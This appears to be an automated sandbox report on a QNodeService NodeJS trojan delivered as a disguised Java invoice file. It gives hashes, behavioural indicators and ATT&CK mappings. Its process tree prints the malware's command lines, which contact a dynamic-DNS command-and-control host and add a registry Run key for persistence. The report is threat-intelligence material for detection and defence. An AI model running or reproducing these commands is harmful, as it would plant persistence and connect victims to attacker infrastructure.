qnodeservice | 3a3961d2bb39feebdd50c84bd6d9c1d2b572ebd2bb96a9d7898ac4b7cfaee8ed

General

Target

Product Details and Specification For New Order_076-21-7.jar
Size

12KB
MD5

7843ac9b285fa41873baa3425de7d725
SHA1

d381507d4eabdbaaf413314a6addbb26b5960b1f
SHA256

3a3961d2bb39feebdd50c84bd6d9c1d2b572ebd2bb96a9d7898ac4b7cfaee8ed
SHA512

a2cc3eea6e6a34ef0a9fd760dc4bde9fea9c8994343c795330c31ede25a147479543df28dd77a0efd076bb26f0ee2d4a6a73a9adbef29b309489067b5d2d803f

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	wtfismyip.com
13	wtfismyip.com

Executes dropped EXE 2 IoCs

pid	Process
1076	node.exe
2284	node.exe

Loads dropped DLL 4 IoCs

pid	Process
2284	node.exe
2284	node.exe
2284	node.exe
2284	node.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad8f-106.dat	js
behavioral2/files/0x000100000001ad8f-112.dat	js

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-67922880 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-67922880.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 1076	2416	java.exe	69
PID 2416 wrote to memory of 1076	2416	java.exe	69
PID 1076 wrote to memory of 1760	1076	node.exe	70
PID 1076 wrote to memory of 1760	1076	node.exe	70
PID 1760 wrote to memory of 1696	1760	cmd.exe	71
PID 1760 wrote to memory of 1696	1760	cmd.exe	71
PID 1076 wrote to memory of 2284	1076	node.exe	72
PID 1076 wrote to memory of 2284	1076	node.exe	72

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2284	node.exe
2284	node.exe

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfd1-108.dat	family_qnodeservice

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Product Details and Specification For New Order_076-21-7.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://baram11775.dyn.home-webserver.de
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-67922880" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-67922880.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1760
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-67922880" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-67922880.cmd\""
      4⤵
      Adds Run key to start application
      PID:1696
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://baram11775.dyn.home-webserver.de
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1076-107-0x0000032637080000-0x0000032637081000-memory.dmp

Filesize
4KB

Download
memory/2284-113-0x0000027F55B40000-0x0000027F55B41000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing